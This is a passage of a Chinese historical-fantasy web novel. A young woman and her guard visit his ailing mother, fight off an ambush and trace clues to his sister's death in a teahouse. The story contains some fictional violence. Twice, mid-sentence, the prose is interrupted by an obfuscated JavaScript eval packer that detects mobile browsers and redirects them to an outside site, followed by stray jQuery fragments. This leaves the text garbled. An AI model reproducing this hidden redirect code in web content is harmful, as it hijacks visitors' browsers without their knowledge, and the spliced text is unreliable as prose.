……三姑娘,是在弹琴?苓儿想进去看看,又不想打断,只好敛声蹲在门口。
阿隽见状,也抱着手,蹲在一边。
祁子钦不明就里,两手抱臂,背靠着门,也静静地听着。
令知荷坐在矮凳上,指尖悬在琴弦上方,她胡乱拂过几根弦,那声音打颤,错音与停顿此起彼伏,不成曲调的琴音凌乱碰撞。
听得门口几人呼吸一滞。
苓儿与阿隽面面相觑,心里大概想的是:三姑娘貌似不太适合弹琴。
而祁子钦眉头一拧,嘴角抽了抽。
她在干什么?
令知荷弹了会儿,自知琴艺平庸,就不再拂琴。可这古琴,她更不想丢在一角落了灰,真是暴殄天物。
她叹了口气,起身去推门。
祁子钦一听这琴声没了音,心道:她是知道自己音不成调,弹得难听了。
门被忽然推开,祁子钦身后一空,一个趔趄差点被门槛绊到。他目光微黯,只问:“你怎么出来了。”
“你会弹琴吗”令知荷面无表情问他。
刀剑、射、御她擅长,琴棋书画却只占棋和书,师尊也就教了这么些。她翻过几篇乐谱后,发现仍然一窍不通,心里有些沮丧。
祁子钦本想直接了当地拒绝,说不会。但又看见她眼中那隐隐的怅然。
他答:“略知一二。”
书中记载,习得古琴需习指法,有“勾、剔、抹、挑”等。
令知荷手指纤细修长,洁白如玉。唯有祁子钦瞥见她掌心起了薄茧,指腹有一道划痕。
他心下有些不明:“你,不学艺,习武。”
令知荷勾一根弦,毫不在乎:“那又如何。”
见她如此,祁子钦不想多话。
他对基本的乐理很是熟悉,都悉数教给令知荷,而后者有过目不忘之能,学得很快,不多时,已经能弹奏一段完全的曲子。
“你的琴,是你阿姐教的?”令知荷看他。
祁子钦点在弦上的手顿住,眸中微动。
令知荷望着,不知触到他心里哪根弦,见他眼底愈黯,心想,是不是失言了。
她以为,追忆良人,心里当是高兴的。
祁子钦收起手,仍是“嗯”了一声。
他道:“阿姐教的。”
月色清淡,烛火晕开。他睫毛颤动,眼角沾了暖黄烛光。
4. 归乡
回淮南,广陵的繁华富庶就远去。
苓儿有点儿不舍,但是,人总有归家的时候,这么一想,她心里也就好受了点。
“小妹你终于回来了,阿姐想死你了!”迎面走来一个青丝高束,神采英拔的女郎。
她声音响亮,震得令知荷有些发懵。
一旁随同的令夫人见此,打趣道:“这俩丫头,一见面就跟藤缠树似的,平日里总说不想,分开倒是耐不住了。”
说完,她携了令老爷就往里走,只道:“不打搅你俩,我也得跟你们父亲叙叙。”
令知荷纳罕地被女郎锢在怀中,无奈目送他们离开。
这女郎是徐小娘所生,令家长女,名唤令知翎。此名由来,似乎是她出生时,令老爷于桌案摆放数十样物什,可她,一手捏住一根木矢。
令知荷挣脱她的拥抱后,照例行礼:“二姐姐安好。”
见小妹如此,令知翎啧啧两声。
令知荷不知何意,直直看着她。
“你往日从不唤我姐姐,嫌烦。今日怎如此乖巧?”令知翎笑意拂面,手掌轻轻抚过她的头。
令知翎心道奇怪:为什么她这次没有躲开。也罢,乖巧一点更讨人喜欢。
原是这姐妹二人,双生异色,长姐性如焰火,幼妹静似幽莲。
令知荷喜笔墨,令知翎喜传奇话本,每每登门便要问,小妹你可知,哪里有好话本可以看?
令知荷充耳不闻,此时,长姐总要缠着她,说她要不告知,便不走了。
“你看话本,茶饭不思,沉溺其中,怕要熬坏了身子。”令知荷关心道。
见如何说都仅听得这一句话,令知翎常是怏怏离开。众人见,只道长姐不似长姐,幼妹不似幼妹。
近日长姐收到令老爷从广陵带回的一把长弓,做工精细,弓弦拉开如同满月,就不再纠结话本,转而将心思拉回到箭术上。
院中空阔,拂面的风温和宜人,撩起她的发丝。令知翎下颌微收,目光紧盯空中飞鸟,右手缓缓勾住弓弦。
她令知翎向来是百步穿杨、箭无虚发。
待时机一到,那紧绷着的弦便骤然弹开,任那箭矢破空而去。只一念,箭中鸟咮,应弦而落。她叫身边小厮去拾起收好,又冲令知荷挑了挑眉。
往日的令知荷或许与她不相投,但如今……可不一定。令知荷剑术了得,若她称第二,无人敢称第一,但在外除魔卫道,居内事务诸多,无甚时间射猎。
见小妹异乎寻常地对箭术感兴趣,令知翎也就愈发热忱。不出一个月,二人的关系似乎更“亲密”了。
这日,令知翎拉住她的手,眼神诚恳道:“小妹,此次一别,不知何时又能相见……”
令知荷连忙收回手,笑了笑,语气柔和:“我只是暂出片刻,很快就归家。”
“你要快点回来啊,外面很危险的。”
其实就是没人陪你了罢?
令知荷一挥手,头也不回走了。
此次出行,只有俩人,祁子钦在前面赶车,令知荷在马车里。另外,无人知晓。
令知荷掀起车帘,向外望去。
周遭市肆冷落,行人寥寥。一阵风穿街而来,檐下风铎零零,又添几分清寂。
令知荷不知是何地,但大抵在溆州边界。
祁子钦一跃下了马车,将那脚凳放好后,只说:“到了。”
正当他迟疑,要伸出手臂扶马车上的小姐时。令知荷已提了裙摆,身姿轻盈地落了地。
祁子钦触电般缩回悬在半空的手,眼神不知往哪放,全被令知荷收入眼底。
她唇角勾起弧度,轻声道:“有劳了。”
少年心觉尴尬,背过身去,声音冷如冰:“啰嗦。”不等回应,已大步踏入巷口。令知荷望着他僵硬的背影,笑意更深,莲步轻移跟了上去。
这有什么可不好意思的。
巷子深而逼仄,砖石缺角处生着暗绿苔藓。头顶青瓦摇摇欲坠,一阵穿堂风过,便抖落细碎尘埃。
令知荷轻拍肩头,指尖蹭上一抹灰。
这是他幼年生活的地方,如今已萧瑟破败……也许一直如此。
二人往里走,祁子钦停下脚步,他看着眼前的柴门,已经暗淡、发白,不久前落雨,表面还有些许斑驳。
令知荷看见,这门其实更换没有多久。
他缓缓推开门,发出的声音不大,门板厚实,还算坚固。
他垂眸盯着青砖缝隙里的青苔,喉间溢出一声极淡的提醒:"当心门坎。"又带着几分不易察觉的紧绷。
令知荷怎会不留心,她跨过门坎,随后轻轻合了门。
院子不过两亩见方,半亩荒畦杂草横生,几株枯菜歪倚竹篱;另一半挤着三两间茅屋,瓦片参差,泥墙剥落。
祁子钦头也不回,冷硬道:“屋中躺着我母亲,风疾缠身多年。”
话音未落,巷尾腐木断裂,安静的院子平添几分生气——寻常人家千金哪见过这般光景,可他不曾给得起体面。
且不说风疾难治,即便长期服药,也要拖上许多年,家中贫寒,如何担负……何况家中无权无势,无论入仕,还是从戎,都不容易。
令知荷心里复杂,当即要走进去,祁子钦见此瞳孔骤缩,长臂一伸扣住她手腕:“你要做什么。”
令知荷眸色冷静,不觉冒犯,只认真道:“我去看看。”说完,便松开祁子钦的手,往里走。
他跟上去:“即便你精通药理,阅历却不够。”
令知荷没有理会,走到门前轻轻推开门。
那卧在榻上的妇人,与方夫人年龄相仿,只是方夫人端庄大气,朱颜若春。这位娘子却生出好几缕白发,她虚弱地躺在那,双目轻阖,面色苍白,形貌消瘦。
可不难看见,她年轻时的容貌,也是极好的。两鬓发丝梳过,只凌乱了几根发丝,两弯烟眉,很淡。
她缓缓睁眼,声音含糊不清:“媛……媛娘,来……”
祁子钦立在一旁,薄唇紧闭,眉头微微一颤,眼底有淡淡的忧愁,他快步走上前,俯下身子蹲踞于榻边。
那妇人看清来人,似乎欣喜起来:“是……祯,怎地回……娘……念……”
好像是说:是祯儿啊,怎么回来啦,阿娘念着你呢。
不知有多少年,这病是轻了又重,重了又轻。妇人说话断断续续,已有些失语,无法说出一句完整的话。
祁子钦托住她骨瘦的手,轻轻抚平了额头的发丝,动作轻柔而缓慢。
他柔声道:“阿娘,我回来了,挂念您就回来了。”
妇人拍了拍他的手心,又轻握着:“好……”
令知荷在一旁,方才知晓他所做为何。
祁子钦外出时,媛娘子就来照料,他收的酬金,大概一些给了媛娘子作工钱,还有许多,拿去请郎中、配汤药,给阿娘治病。
待母子二人寒暄过后,令知荷就往前走几步。妇人才知,回来的不止有自己的儿子,还有一位姑娘。
她问祁子钦,这位姑娘,是何人?
令知荷抢先开口,她微微一笑:“回娘子,我是他行商时结交的朋友,诸事了结,听他常道母亲温婉慈爱,时时念家,特地同他回来看望您。”
听她这番话,榻上的妇人眉眼更弯了,她点点头,只说家里简陋,望她不要介意。
祁子钦欲开口,又不知该说什么。
只见令知荷搬来一边的凳子,自己先坐下了,又与母亲交谈,虽然母亲说话不完全,但她仍然能接上话。
她说:“娘子,我有一友寻访天下,结交甚广。他结识一神医,那神医,有活死人、肉白骨之能。我便托他求来这药……”
边说,她取出袖中的药瓶,就要交给妇人。
令知荷心道:我落琼谷的灵丹妙药与寻常药不同,被剑气刮伤,还是被妖魔诡气所伤,皆可疗愈。不久,娘子的风疾,就可消褪,这言语,还得身体好转过后,再慢慢恢复。
祁子钦见此,眸色又是一冷,忽地起身,想阻止她。
令知荷知他顾虑,从瓶中取一粒药丸出来,塞进口中,咽了下去。
她悄声道:“放心,没毒。”
完后,祁子钦敛色,只好坐下。他不知令知荷整日在想什么,所做之事,更是猜不透。
妇人接过那药瓶,神色感激,碍于疾病缠身,无法下榻,她只轻轻牵住令知荷的手。
多谢,她道。
令知荷另一只手,覆上妇人的手背,缓缓道:“娘子不必言谢,出门在外,多受子钦照拂。我只尽我所能,应该的。”
她虽这么说,可作为母亲,哪有不了解自己孩子的,祯儿怎会在外面说想念母亲,想家呢。
媛娘出门,想是不久便要回来。如今他在令知荷底下做事,难以侍奉母亲左右,待不了多久,便又要离开。
柴门闭合的闷响里,祁子钦转身时带起一阵风:“三小姐当真是判若两人。”
令知荷指尖摩挲着袖口暗纹,似笑非笑问他:“何出此言。”
祁子钦冷笑一声:“贤淑表象下,藏着獠牙。”
令知荷不明道:“什么。”
祁子钦嗤笑一声,欺身上前,衣摆扫落墙角陶罐。他逼视着她瞳孔里的倒影,一字一顿道:“你要我为你所用,出酬金即可,何必管我家事。”
“何况你那般身手,又何须我来为你做事。”
令知荷眼波流转,当即明了,往后退了半寸,脸上依然笑吟吟:“说我判若两人,你又有何异,寂。”
听到最后一个字,祁子钦表情愈发复杂。寂是他的代号,杀人时的钉子,每承一道指令,这钉子就一寸一寸打进他的身体,让他痛不欲生,却拔不掉。
看似温柔敦厚的皮囊下,藏的不过是济世救人的心;而你生得眉目清俊,十指纤长如玉,偏染尽无数亡魂的血。
令知荷被他误会,心里压抑不满,继续说道:“对了,你不怕有人来找你索命。不怕你……”
交代的事未完成,牵扯你的至亲。
她未说完,祁子钦便一把掐住她的脖颈,声音冷冽,字句如同淬了毒的银针:“那我现在杀了你,你会来找我索命吗?”
喉间传来碎裂般的疼痛,她艰难地扯动嘴角,尾音被掐得支离破碎:“我……不索……人命。”
令知荷未料到他会如此,平日里波澜不惊的眼中不自觉泛起水光,刺得祁子钦心头一颤。
你何必如此揣测我。
祁子钦察觉,怔了怔,随即舒出一口气,松开手,在她白皙的脖颈上留下一道红痕。
“我最恨伪善人。”说完,他没有再看令知荷。
二人回到马车,沉默不语。
令知荷不愿在细枝末节上浪费时间,一向只以大局为重。此时不与他置气,率先开口:“你最后,是在哪找到你阿姐的?”
她不想纠结,也不想跟不知晓她苦衷的人解释什么,至少现在不行。
她提起这个沉重的问题,因为她答应了。也因为,她不想这样的女子不明不白地离开。
祁子钦也不愿说,心底苦涩,不得不在外人面前佯作冰冷。他朝远处的青山望去,上空有飞鸟过。
令知荷了然,只说走,未多言。
行至山脚,树木丛生似要遮天,只透过枝桠落下点点光,时有山中鸟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710162|173595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啼叫。看似安然,实则是看不见的险厄。
祁子钦瞥一眼,见令知荷身姿清瘦单薄,此时便觉她仍是闺阁女子,不知能不能走上去。
令知荷见他看着自己,疑惑:“怎么了。”
祁子钦别过头,只道:“无事。”
山林无道无路,杂草丛生,祁子钦用长剑除去木枝杂草,在前面开路。令知荷在后边提起裙摆,暗暗握着匕首。
这身装束当真是不便,她想。周边树木潮湿,生了松蕈,地上有爬虫。
令知荷,妖魔鬼怪都不怕,但有些虫子,光是看着就腿脚发麻。也不知从看不见的地方,会掉什么下来。
祁子钦走了许久,身后动静愈来愈小,他才转身,望见令知荷还在后边几尺,小心翼翼地探着。
他抱臂靠在树上,摆摆头:“害怕可以回去。”
闻言,令知荷当即跟了上去,因动作太快,头发不经意被树枝挂到,掉了一缕,显得有些乱。她想抚上去,无果,只好别到耳后。
祁子钦看着,忽觉奇异。日光透过树叶落在他睫上,投下淡淡的影,墨色瞳孔便更加深邃。
但很快,那点奇异就消失无踪。见令知荷跟上来后,他放下手,转身又走。
不久,二人就走了好些路。
令知荷少奔波,重要的是在这的体力,远远赶不上在落琼谷,于是这会儿,她呼吸急促,步伐越迈越窄。
恰当她想停下歇脚时,树上就扑来一个东西。祁子钦眼疾手快,迅速挥剑,将那东西斩断成两节。
令知荷后知后觉,往边上迈好几步,离那东西有段距离。
这时节,山中常有蛇虫。
祁子钦将剑刃上的毒血甩开,眉头一蹙:“与我对峙时的反应去哪了。”
令知荷没有回应,反手一刺,又斩下一条。
“走。”她道。
不出几十步,不知从何处射来一支箭矢。
祁子钦侧身躲过,与令知荷对视上。
她眼神似乎在说:找你来了。
祁子钦参差剑齐手,见不远处树丛挥来一把刀,他脚步疾转,寒光连闪。
不仅是找他,随即又刺来无数支箭,向令知荷去,她侧首躲过。
见来者不善毫不留手,令知荷拔出匕首。
那丛里躲着几个人,此时一拥而上,刀光剑影,响成一片。
令知荷一把匕首,定是挡不下刀刃,祁子钦想暂避箭刃,过去护着她。只见她反应极快,只一瞬,就闪到那人身后,白刃进,红刃出,滴滴血淌过嵌在刀柄的绿翡翠上。
极其迅速利落。
放心,这一下,死不了。令知荷心道,又去看他。
祁子钦倒是不留情,一剑封喉,不留生者。鲜血映在他眼底,沾到令知荷的裙边。
想是暗账的事没完,令知荷思索,祁子钦手下不知多少人命,什么刀箭冲他都不奇怪。这次,大抵是他办事未成,有人要将其一并解决。
“都解决了。”
祁子钦抹去脸颊的血,叫令知荷继续往前走。
剑穗骤沉,他垂眸闪过一抹阴翳。那倒地尚在抽搐的躯体,被他反手划开喉管,温热的血溅上衣摆。
不留祸患。
走到山腰,祁子钦将她带至一块略缓的地,稍稍抬首,一侧有条窄道,落脚处不多。
有人曾站在那,将血泼在木石上,然后,把缙秋扔了下来。
多年雨水冲洗,此地已没有血腥气味,若有血肉、白骨,也早该被枯枝残叶掩埋。骨,是缙秋的骨,不完整,早些年被祁子钦带走了。
令知荷回忆又起,眉心微拧,盯着那根在记忆里紧缠红布的木枝。
他不期望令知荷能帮他什么,自己查寻多年无果。她仅仅来这看上一眼,又能做什么。祁子钦不想忆起往事,那个画面。
令知荷暗里捏决,悄然在附近转了一圈,此地没有特别的东西,唯独那根木枝下,一丝灵力波动不止。
她缓缓走近,蹲在那木枝旁。
祁子钦见她如此,也走过去。当年,阿姐的衣角被枯枝划下一道,干涸的血将那红布染成褐色,他发现时,取下来,连同白骨带回家。
“下面有东西。”令知荷拂开表层木叶,底下泥土潮湿,她拾起一根粗木,撬开石头,往下挖。
祁子钦闻声,瞳孔一颤,连袖子都未卷起,便伸手去刨那湿土。
东西埋的不深,不出一会儿,坑里隐隐露出一角琉璃。令知荷心下一惊,将那琉璃花簪取出来。
祁子钦严肃道:“这不是我阿姐的。”
那这琉璃花簪,会是谁的?令知荷疑虑,仔细看着花簪,她忽而发觉,有一样东西,不该在这簪子上。
一片靛蓝绫面。
祁子钦从她手中接过,脸色一沉。
“还有什么。”祁子钦问,不想她真能寻得蛛丝马迹。
令知荷摇摇头:“没有了。”
祁子钦若有所思,他问:“你怎知这里有东西?”
令知荷眉尾一动:“猜的。”
……
祁子钦不与她纠缠,他只知无论如何,她都不会坦白。
靛蓝绫面,官吏贵族常用织物。是绣庄,还是花茶坊。令知荷叹了口气,想做些猜想,但无奈只能从知晓的事情着手。
太乱,还有许多不知情。那日过后,祁子钦定寻过这两个地方,当下应当先问清他寻查过后,有什么结果。
二人下了山。
令知荷素来行事果断,循着痕迹抽丝剥茧,快刀斩乱麻。既有眉目,她不应回去。只是家中长辈定要担忧,只好趁着天色未沉,尽早回了令宅。
5. 戒心
令知翎正坐在院中津津地翻着话本,时不时唇角噙一抹笑。见小妹回来,她正要去分享话本中的趣事,不料令知荷转头就迈进闺房,身后还跟了个侍从。
这人,怎么不曾见过?
裙边沾染血,令知荷叫他取一盆水来,换上浅驼色窄袖衫。
午月末,小满已过,天气渐热。见桌旁已放置好母亲送来的菖蒲酒,她将衣裳泡进凉水中,就着蒲团席地而坐。
杯中酒水橙黄翠绿,药味协调,入口微苦,过后回甘。
令知荷将祁子钦唤进屋,说让他也尝尝。后者迟迟未动,仍在门口守着。
“怎么不进?”令知荷问他。
祁子钦靠在门边,冷冷道:“不合规矩。”
“刀剑相向、身侧相近时你怎不说不合规矩?”令知荷笑道。
听她这么说,祁子钦一瞬离门,站得笔直,压低声音:“三小姐慎言。”
见他反应,令知荷才知如今仍身在令宅,闺房中。不比在落琼谷,以往师弟妹们得允,便直接推门报知。
可这要紧的事,在屋外岂不是更不妥。院中人来人往,若看见小姐和一侍从……
令知荷轻咳一声,悄声道:“事关紧要,不必拘泥。”
祁子钦当即明白她的意思,见四周无人注意,撩开帘子便进来了。
令知荷示意他坐下交谈,只问:“你去了绸庄,有何结果?”
祁子钦思忖片刻,只道:“我病时,阿姐已从绸庄离开,无人知晓去了何处。”
他不知缙秋去了花茶坊?
令知荷道:“她去了花茶坊。”
祁子钦皱眉:“若去了花茶坊为何我寻不到,还是……那人骗我。”他手指不自觉蜷曲,缓缓收拢成拳。
令知荷见他如此,将那杯药酒挪过去:“喝一杯,通九窍、明耳目。”
“暂不说花茶坊,发现她时已隔多日,说不准在绸庄出变故。”
祁子钦寻过绸庄,那庄主道阿姐在那地手脚勤快,聪明伶俐,大伙儿都喜欢她,也不曾惹事,听她要辞别时,都还不舍,留她在此,只不过没留住。
若要寻,定要再去花茶坊一趟。
令知荷当即道:“不如后日动身。那群人行刺未果,知我非如所料,定要暗筹机变……近日想是不会再行动。”
祁子钦眼色一动,望着案上半凉的茶盏,眉目浸入茶水,心头翻涌着什么。
“苓儿,你说他是新来的?”令知翎问,心想:怪不得从来没见过。
苓儿道:“是呀二姑娘,三姑娘忽然就带了这么一位郎君回来,说是在广陵招募的侍从。”
令知翎将手搭在苓儿的肩上,若有所思道:“模样还不赖,就是这家世,不知如何。”
小妹一贯喜清静,不许人守着……如今一看,果然是墨客风流多逸趣,遣兴之法,与常人不同。
她想着,苓儿乍然一动,令知翎失去支撑点,“哎”了一声。
苓儿忽地想起什么,只道:“哎呀,蚂蚁搬家,姑娘的衣服得赶紧收了。”
说完,向令知翎道完歉就急忙走向连廊。
令知翎将长发一甩,望着苓儿的背影,无言道:“你这丫头!”
——
暮色浓,绿意盛。屋外大雨忽降,顺着檐角直落水缸,水花四溅,发出不断的“啪嗒”声。
令知荷推开窗,让风吹进屋子散散闷。唯见窗旁杏影婆娑。
想那花儿,将要筛落满地了,我该如何回去。
令知荷望着铜镜中的自己,玉颊微瘦,清丽的眸子不知何时染了忧伤。近来不知为何,总觉困,连梦境灵域……只说,不必念及过往,一切尽有天意。
她取来一张素笺,捏支笔,蘸了墨汁,提笔便写。只是笔尖在空中顿了半晌,方才落下。
心如水,至纯,不为杂念扰。弟子谨记,此生无怨。
除此之外,她也不知该写什么,只当是消遣。又想起今夜大雨,不见夜光,祁子钦还守在门口,便起身走出。
祁子钦察觉动静,转首与她对视,令知荷开口:“你为何不去歇息。”
祁子钦独自抱着剑,坐在台阶上,看冷雨哗哗落下。
似乎是有些累,他轻声道:“职分所系。”
令知荷不觉轻呼一口气,撩了衣衫,也不顾尘灰,也俯身坐在一旁。
“你不必如此,戒心过重。我知你心中郁结。”
屋外昏暗,唯有室内的那点光。
暮色里那张原本轮廓分明的侧脸有些模糊,令知荷不知他是否仍在想阿姐之事。
被人揭开心事,祁子钦不适,指尖微微一颤,语气不善:“三小姐,你何必如此?”
令知荷知晓他还在纠结自己有所隐瞒,只好无奈道:“你既如此,即便我说了,你能信我几分。你若不信,我又为何说。”
她这话,似要将人绕了进去。
祁子钦却听得明白,只是他无法信任一个忽然对他好的人,为何只要他生死随主,即便如此,丰厚酬金已然足矣……深闺千金为何习武,又师从何人。
他目光沉静如泉,抬手探向檐外,雨滴簌簌落入掌心,顺着腕骨往上。
有些凉。
令知荷见他不语,又道:“你只知我非有所图,独愿世间正气不堕,你若执意揣度,请自便。”
话毕,她将伞留在石阶上,回了屋。
祁子钦静静望着。
雨势不减,檐角垂瀑成帘。
往日至少亮到寅时的屋子,此时灯烛早早熄灭。
不知过了多久,那木窗被夜风吹得吱呀作响,却迟迟没有关上。夜里清静,雨落声收进他耳中,清晰得似也落到心底。
祁子钦起身,轻轻撩开帘子,见罗帐里的影子仍在熟睡,他走近,没有惊动什么,唯有衣角在夜风里漾开。
入眼,那张素笺一角已被茶案上的水洇湿,他拣起,却看清上面的字。
心如水,至纯,不为杂念扰。
后面还有几字,虽模糊,但也知写得是:弟子谨记,此生无怨。
祁子钦出神,但很快他就将那素笺放回一旁,走到窗边,轻轻关上窗。
——
他果然是走了。
令知荷站在台阶上,雨中凉意撩起她裙边,衣袂飘飞。此时除她,没有别人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710163|173595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
空色朦朦,青叶陶缸笼在烟里,她独独远望那曲池,雨仍在下,重重地打在浮萍上,有点可怜。她叹了口气。
浮迹依水,各西东。
可她还是要去。不为别的,为了她的心。
令知荷前一日便与方夫人说过,这几日去采买端阳节所用物什,还要向织工研习编织技艺,便不会日日归家。
她换劲装,又将长发束起,瞒下苓儿,独自上路。
她不知花茶坊在何处,但定不会离祁子钦家远多少,否则,缙秋也不会辞工绸庄,另去花茶坊那等混乱之地谋生计。
令知荷离开溆州,又回到长丰县。
雨如注,她撑起伞,街巷几乎没有行人,但有几家铺子倒是开着。
檐下最外边,摆着做买卖的伞。她瞥了眼,收起纸伞,走了进去。店里卖的是香糖果子,里边儿,店主人一手撑着头,双眼眯着,正打盹儿。
听见门口脚步,他醒了醒神,忙迎出来:“这位客官,端阳吃这香糖果子最是应景,艾草提香、紫苏祛湿……”
令知荷未等他再接,只往他手里递些银钱,果断道:“只要二两。”
店主人收下钱眉开眼笑,咧着嘴就去包果子。
令知荷趁隙又问:“你可知花茶坊在何处?”
店主人笑道:“我们县最好的花茶呀,就前边一家,你往前行三百步就到啦!”
……
令知荷嘴角微抿,有点尴尬:“掌柜的可能会错意了。我所指,乃烟花巷陌之地。”
店主人似有所思,随后想起什么,只道:“我们这是没有这种地方,不过邻邑安阳县,好像有一家……”
说着,他将香糖果子包好后,乐呵呵递到令知荷手上,又很是通透,堆笑道:“客官您的香糖果子包好啦,若要去安阳县,出了这街向东走,不久就能到。”
令知荷接过,道了谢。
风雨飒飒,不知将何处的叶子,吹落到门前。
“这雨下得恼人,叶子扫起来直打滑!”店主人抱怨着,扫帚重重杵在石板上。
他不满道:“一文钱未赚得,偷闲也偷不成。”
店门口一日都不曾路过几个人,即使雨天卖伞,也卖不出去。他这么想,只见一人忽地向他走来,那人夺过他手中扫帚,又将他拽进屋里。
“你不是说我阿姐不曾来过吗?”少年眼底有三分怒火,一只手紧紧攥着那人的领口。
那店主人见他来势汹汹,吓得面色煞白,哆嗦道:“小郎君你,你先冷静……你说什么,你阿姐,我不曾见过啊……”
见他这般窝囊,祁子钦怒火更甚,攥着领口的手,又紧了几分。
“她说阿姐来过花茶坊……”祁子钦盯着眼前人,此人眼神呆滞,被吓得浑身都在哆嗦,畏畏缩缩。于是抬首,又见周遭十分冷清,心下生出好些迷惘。
我为何要信任她?
此时,掌柜的连忙开口,委屈道:“郎君,您说的花茶坊不是我们店,我只是个寻常茶贩,那有名的花茶坊在隔壁安阳县啊……”
闻言,祁子钦缓缓松开手,言语似冰,笼人一身寒意:“望你所言非虚。”
6. 花茶坊(一)
花茶坊于安阳县北侧街市,此地尤为热闹,店铺林立,灯火通明。街头巷尾雨雾朦胧,也阻不断行人撑伞往来,似都在为端阳筹备。
令知荷来此已有些时候,她面容以薄纱遮掩,此时正坐在酒馆三楼往下看去,花茶坊就在对面。
这花茶坊来往多为男子,其中女子甚少,或为坊主,或为伎女。想进去,扮作客人未免太突兀,舞娘乐师……罢了。
不如……
“不如来做艺伎,小娘子,我光是见你这眉眼呀,就有八分是美人,做这杂役是大器小用呀!”那虔婆媚笑着将令知荷拉进屋。
令知荷连忙摆手,赔笑道:“不了,虔娘,我琴棋书画,歌舞声乐样样不通,怕是伺候不了客人。”
谁料那虔婆,死死拉住她的手腕,一把团扇掩不住笑意,她只道:“不用你伺候客人,你且换身好看的衣裳,往那一站,自叫那些公子哥儿挪不开眼……”
虔婆执着于此无他抉择,为细致了解她再不好推辞,只好应下站在戏台一侧,浓妆艳抹,打扮得花枝招展。
进入坊中的多为富家子弟,也有跟着混进来的小喽啰,许多经过令知荷身侧时总要上下打量着,眼里俱是贪婪。幸好她遮掩半面,眼色似刀光。
除了贪狼,并无异常。她厌恶不适,趁无人留心偷溜到后院,人影寥寥。与前庭宏敞不同,后院幽僻较昏暗,高墙围困,集庖厨、浆洗、仓库于一地,令人压抑。
缙秋曾在此地打杂,不知她待那么些时日,是否也有这般感受。
厨房被人收拾后挂上锁,此时唯有几人在屋外洗衣,那架子上挂满伎女的衣裳,以及颜色各异的衾单。
令知荷见衾单后一盒捣碎的皂角,被人倒入盆中,那人将衣裳铺平在石板上,又用棒槌捶打,另一边一人揉搓着,待她走进细细一看,那双手短小,关节因频繁用力微微肿大。
这分明是双孩子的手。
她往前走,步伐很轻,绕过层层衾单,走到那个孩子身侧。孩子头戴一顶福蛇帽,扎两个小辫儿,面容圆润,眼睛如清澈湖水,纯净明亮。
见后院来了陌生面孔,女孩放下手中棒槌,一双大眼睛透着好奇:“这位阿姐不曾见过,新来的吧,你怎地跑到后院来啦?”
此地竟收童工,若是上报官府,怕是留不得。
令知荷低头一看,这身装扮于后院格格不入,任谁都以为是从前庭绕过来的。除了女孩附近的人皆不在意,仍然忙活手中事。
见她模样单纯,天真无邪,令知荷稍稍放下防备,俯身问她:“你这么小,为何在此地打杂?”她说得小声,也怕被他人听见生出麻烦。
女孩名小淳,只道母亲在此地做工多年,于是生下她也在此地讨生活,那顶福蛇帽便是母亲亲手所织。
童蒙天真,令知荷同她闲谈几日,往来相善,就不在前庭当摆设,又道花茶坊供役者若林,无人知晓她已转到后院打杂。且说缙秋之死不过几年前的事,从后院杂役中定能探出些什么。
令知荷握着棒槌,一下又一下梆梆捶打着衾单,洗衣之闲还试图从小淳口里打听些过往事,无意问道:“日子无趣,不如你跟我说说花茶坊这些年的奇闻异事?”
说起奇闻异事,小淳正欲托腮,忽而想起手上有浣衣水,便赶紧放下手,转起灵动的眼睛。她凝思着,声音稚嫩:“此地前些年有位行首,叫什么……瑶女。众人都说瑶娘子色……色什么绝?”
小淳耸耸鼻子,有些尴尬。令知荷笑了笑,接道:“色艺双绝。”
“对!色艺双绝。”小淳继续说道:“扔金子求见的公子踏破大门,可瑶娘子无论是谁,只要不乐意就不见,千金难得一面。”
这算什么奇闻异事吗?令知荷心想,况且与缙秋毫无关系罢。
“但是有天,坊主说她被人赎走了。谁也不知是何人,也不知什么时候走的。只是那天过后再没见过瑶娘子,花茶坊的客人一时也少了很多。生意大不如前,日子却还和从前一样。”
说到这里,自前庭过来一个身量挺拔,小麦肤色的男人,他瞥令知荷二人一眼,只道:“小淳,现已至申时,你还不抓点紧,等天暗下来又得摸黑。”说完,他打开厨房木门的锁,走了进去。
小淳嘿嘿一笑,不再同令知荷说,继续手中的活。
千金难求却被人赎走,莫非是心上人?又或许不是自愿的。生意大不如前,日子怎能与从前一样……令知荷不觉多生疑惑,想起缙秋,她顺嘴问上一句:“小淳,你听过缙秋这个名字吗?”
厨房传来哐当一声,听是架上东西掉落的声音。小淳漫不经心道:“好像听过,但好像又没听过……荀哥哥你小心点,别碰伤自己!”
无果,令知荷将洗好的衾单晾在黄梅架上,又将湿着的手拿布巾擦干净,只说自己事情做完要回去歇息,便离开后院。
地面水洼倒映浮空薄云,水珠透出赭黄微光,天色渐暗。若祁子钦信她,想是已至花茶坊,为何迟迟不见踪影,难道他仍是不信……
令知荷独自走向三楼,踱步前行,一时不知是回自己房中,还是潜入坊主房中搜查花茶坊前些年的役籍。她转首进屋,乍闻物什撕裂的声音,低头一看,便见门槛边角卡住裙摆,撕裂下一片布。
她弯腰将那片粗布拾起,先进入屋子,将门关上。忽地想起什么,她将袖中藏起的琉璃花簪取出,又拿下卡在其中的靛蓝绫面。
这片靛蓝绫面久置色褪,光泽黯淡,边缘参差不齐露出毛边。令知荷拿出方才撕裂的布片,与绫面放在一起,并无二致,仅仅是绫面边缘较为柔软。
